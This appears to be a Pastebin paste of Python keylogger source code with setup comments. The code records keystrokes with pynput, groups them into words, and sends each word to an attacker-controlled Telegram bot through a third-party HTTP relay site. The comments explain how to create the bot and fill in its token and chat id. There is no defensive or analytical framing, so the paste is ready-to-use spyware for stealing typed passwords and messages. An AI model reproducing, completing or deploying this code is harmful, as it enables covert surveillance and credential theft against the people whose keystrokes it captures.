Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- from pynput import keyboard
- def send_message(word):
- url = 'https://api.telegram.org/"your robot token"/sendmessage?chat_id="your chat id"&text='+word
- data = {'UrlBox':url,
- 'AgentList':'Mozila Firefox',
- 'VersionsList':'HTTP/1.1',
- 'MethodList':'GET'
- }
- http_requests = requests.post('https://www.httpdebugger.com/Tools/ViewHttpHeaders.aspx' , data)
- def listener():
- with keyboard.Listener(on_press= keyboard_log) as lstn:
- lstn.join()
- list_of_words = []
- def keyboard_log(key):
- final_string = ''
- try:
- key = key.char
- list_of_words.append(key)
- except:
- for i in list_of_words:
- final_string += i
- send_message(final_string)
- #print('this is final string:', final_string)
- list_of_words.clear()
- listener()
- keyboard_log(list_of_words)
Advertisement
Comments
-
- 1️⃣ step1:
- you should creat a new bot in telegram. then you should copy that token and write incpect "write your robot token"
- 2️⃣ step2:
- then you need to start your bot
- 3️⃣ step3:
- go to @showchatid bot and find your chat id. if you have your account chat id, then you should paste that digit code in line5 in tool, incept "your chat id".
Add Comment
Please, Sign In to add comment
Advertisement